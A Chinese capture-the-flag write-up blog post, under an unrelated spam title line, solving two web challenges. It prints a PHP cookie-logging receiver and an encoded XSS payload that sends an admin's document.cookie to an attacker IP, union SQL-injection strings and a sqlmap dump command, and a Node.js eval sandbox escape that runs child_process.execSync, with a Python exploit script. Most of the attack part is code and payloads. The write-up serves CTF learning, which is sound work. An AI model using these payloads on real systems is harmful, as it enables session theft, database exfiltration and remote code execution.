重慶哪里可以做網(wǎng)站的可以免費(fèi)打開網(wǎng)站的軟件下載
[CISCN2019 華東北賽區(qū)]Web2
看wp寫完之后寫的
知識(shí)點(diǎn)
- 存儲(chǔ)型XSS與過濾繞過
- sql注入
題解
好幾個(gè)頁面,存在登錄框可以注冊(cè),存在管理員頁面(admin.php)
->既然存在管理員頁面,且直接訪問admin.php提示我們
說明存在身份驗(yàn)證,我能夠想到的只有Cookie和Session驗(yàn)證,那應(yīng)該就是獲取或者偽造了
->偽造:沒有發(fā)現(xiàn)jwt格式或類似的數(shù)據(jù),
->獲取:能夠想到的只有xss
根據(jù)投稿頁面提示信息,更加明確就是xss了
也就是說,這里上傳XSSpayload,然后去反饋頁面,將上傳到的網(wǎng)址提交一下,管理員會(huì)去訪問 -> 從而獲取管理員身份信息
-> 需要公網(wǎng)IP,存在Http服務(wù)
過濾了,將() -> ()
,看wp了,根本不會(huì)繞過 編碼網(wǎng)址
1.在服務(wù)器網(wǎng)站下創(chuàng)建一個(gè)php文件,用來之后管理員的訪問 -> 從而獲取管理員Cookie
<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a"); # a模式是追加模式(在文件末尾添加內(nèi)容)fwrite($log,$time.': '. $cookie . "\n");fclose($log);
?>
這個(gè)php文件需要一個(gè)Get參數(shù) -> 當(dāng)我們傳入document.cookie時(shí),會(huì)獲取自己訪問該網(wǎng)站的Cookie
寫入cookie.txt文件中
# Xsspayload
in_str = "(function(){location.href='http://IP/127.php?cookie='+document.cookie})();"output = ""# 繞過waf部分
for c in in_str:output += "&#" + str(ord(c))print("<svg><script>eval("" + output + "")</script>")
可能有點(diǎn)亂,先后順序過一遍
1.上傳XssPayload -> 獲取上傳的網(wǎng)址
先別管waf部分,看
in_str
的內(nèi)容 ->function(){}()
js語言這個(gè)函數(shù)會(huì)自動(dòng)調(diào)用,location.href
跳轉(zhuǎn)命令后面是 跳轉(zhuǎn)到公網(wǎng)IP的php文件url,參數(shù)是cookie,值是document.cookie用來獲取管理員Cookie值
上傳的url:4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html
這里要看一眼題目介紹,要將前面的改成web.node5.buuoj.cn
2.然后在反饋的地方輸入url,讓管理員去檢查 -> 從而觸發(fā)跳轉(zhuǎn) 之后一系列 -> 致使管理員Cookie寫入到cookie.txt文件中
這個(gè)驗(yàn)證碼,寫一個(gè)py腳本就行了,我直接復(fù)制的wp中的
import hashlibdef func(md5_val):for x in range(999999, 100000000):x = str(x).encode('UTF-8')md5_value = hashlib.md5(x).hexdigest()if md5_value[:6] == md5_val:return str(x)if __name__ == '__main__':print(func('277f26'))
3.獲取Cookie之后訪問admin.php之后的每一步,都要抓包修改Cookie或者其他修改Cookie的方式都可以
之后就是sql注入了[ 整數(shù)閉合注入 ] -> 唯一的一點(diǎn)就是每一次都要修改Cookie, 在Bp中直接發(fā)送的話, 又因?yàn)镚et參數(shù)編碼的問題,
->可以使用Postman
-2 union select 1,2,3#-2 union select 1,database(),user()#-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#-2 union select 1,2,group_concat(flagg) from flag#
或者用sqlmap跑,指定一下Cookie參數(shù)
sqlmap -u 'http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id=1' --cookie='PHPSESSID=6acc57b9d1aa6f6e94a23ea4286a182e' -D "ciscn" -T "flag" --dump --batch
另外說一下,我看那個(gè)Xsspayload編碼繞過,估計(jì)是通用的哎,只要將明文改一下,就跟著編碼了( 我的payload用的是公網(wǎng)的,Wp中是Xss平臺(tái),不一樣的,但是編碼部分我沒改,也能過)
wp
[NPUCTF2020]驗(yàn)證🐎
知識(shí)點(diǎn)
- nodejs下的md5繞過
- Nodejs下的RCE
題解
給出了源碼, 主要看兩部分
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的庫(kù)太垃圾,我自己寫了一個(gè)if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {if (req.body.e) {try {result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';# 來到這里, 進(jìn)入safeEval函數(shù), 繞過正則表達(dá)式, 執(zhí)行eval函數(shù)}
Part1:滿足if
nodejs中有類似于PHP的弱類型比較
在nodejs中數(shù)值類型沒有長(zhǎng)度,length只是一個(gè)屬性
nodejs中任何數(shù)據(jù)類型與string類型相加時(shí),都會(huì)強(qiáng)制轉(zhuǎn)換為字符串類型
之前沒寫過nodejs代碼,跟著練練
const crypto = require('crypto')var key = "abc"
var a1 = '1' + key[0]
var b1 = [1] + key[0]console.log(a1) # 1a
console.log(b1) # 1aconst hashA = crypto.createHash('md5')
hashA.update(a1)
const a = hashA.digest('hex')
console.log(a) # efaa153b0f682ae5170a3184fa0df28cconst hashB = crypto.createHash('md5')
hashB.update(b1)
const b = hashB.digest('hex')
console.log(b) # efaa153b0f682ae5170a3184fa0df28c
故Payload1:{“e”:paylod,“first”:[1],“second”:“1”}
Part2:繞過正則
第一步 - 分析正則:
我看不太懂,有些有特定的含義,一部分一部分復(fù)制到regx101中試試
/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g
1.(?:Math(?:\.\w+)?)
:匹配以Math.[0-9a-zA-Z_]
2.[()+\-*/&|^%<>=,?:]
:這里是匹配其中任一的符號(hào)
3.(?:\d+\.?\d*(?:e\d+)?)
:數(shù)字 加 點(diǎn) 加數(shù)字 加e 加數(shù)字,在reg中試吧
4
:匹配空格
后面就是如何在繞過正則的基礎(chǔ)上構(gòu)造Poc - -包不會(huì)的,看wp
首先箭頭函數(shù)
(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)
上面這個(gè)js代碼,我不知道是在干嘛,不清楚,但是能看到 construcor加上wp的說明,感覺是找到Function這個(gè)原型
個(gè)人理解:Math也是一個(gè)對(duì)象[滿足正則] -> 找到Function原型 -> 從而調(diào)用命令函數(shù)
(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')")) )() )(Math+1)
#Exp.py
import re
encode = lambda code: list(map(ord,code))
#decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1)
"""
print(a+'\n')
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)
#需要json格式發(fā)送 --- 使用python發(fā)送requests請(qǐng)求import requestsurl = 'http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/'
json = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[1],"second":'1'}res = requests.post(url=url, json=json)
print(res.text)
參考
wp